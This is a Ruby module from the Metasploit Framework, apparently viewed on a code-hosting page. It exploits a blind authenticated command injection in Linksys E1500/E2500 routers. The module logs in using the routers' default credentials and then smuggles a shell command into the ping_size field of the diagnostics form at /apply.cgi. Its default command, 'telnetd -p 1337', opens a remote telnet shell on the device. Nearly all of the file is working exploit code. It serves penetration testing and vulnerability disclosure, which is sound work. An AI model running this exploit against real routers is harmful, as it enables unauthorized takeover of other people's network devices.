106 lines
3.6 KiB
Ruby
106 lines
3.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys E1500/E2500 Remote Command Execution',
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'Description' => %q{
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Some Linksys Routers are vulnerable to an authenticated OS command injection.
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Default credentials for the web interface are admin/admin or admin/password. Since
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it is a blind os command injection vulnerability, there is no output for the
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executed command. A ping command against a controlled system for can be used for
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testing purposes.
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},
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'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '89912' ],
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[ 'BID', '57760' ],
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[ 'EDB', '24475' ],
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[ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
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],
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'DisclosureDate' => 'Feb 05 2013'))
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register_options(
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[
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OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
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OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
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OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
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], self.class)
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end
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def run
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uri = '/apply.cgi'
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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return if res.nil?
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return if (res.code == 404)
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if [200, 301, 302].include?(res.code)
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print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
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else
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print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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return
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end
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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return
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end
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print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
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cmd = datastore['CMD']
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#original post request:
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#data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
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#action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
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vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'POST',
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'authorization' => basic_auth(user,pass),
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'vars_post' => {
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"submit_button" => "Diagnostics",
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"change_action" => "gozila_cgi",
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"submit_type" => "start_ping",
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"action" => "",
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"commit" => "0",
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"ping_ip" => "1.1.1.1",
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"ping_size" => "&#{cmd}&",
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"ping_times" => "5",
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"traceroute_ip" => ""
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}
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})
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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return
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end
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print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
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print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
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end
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end
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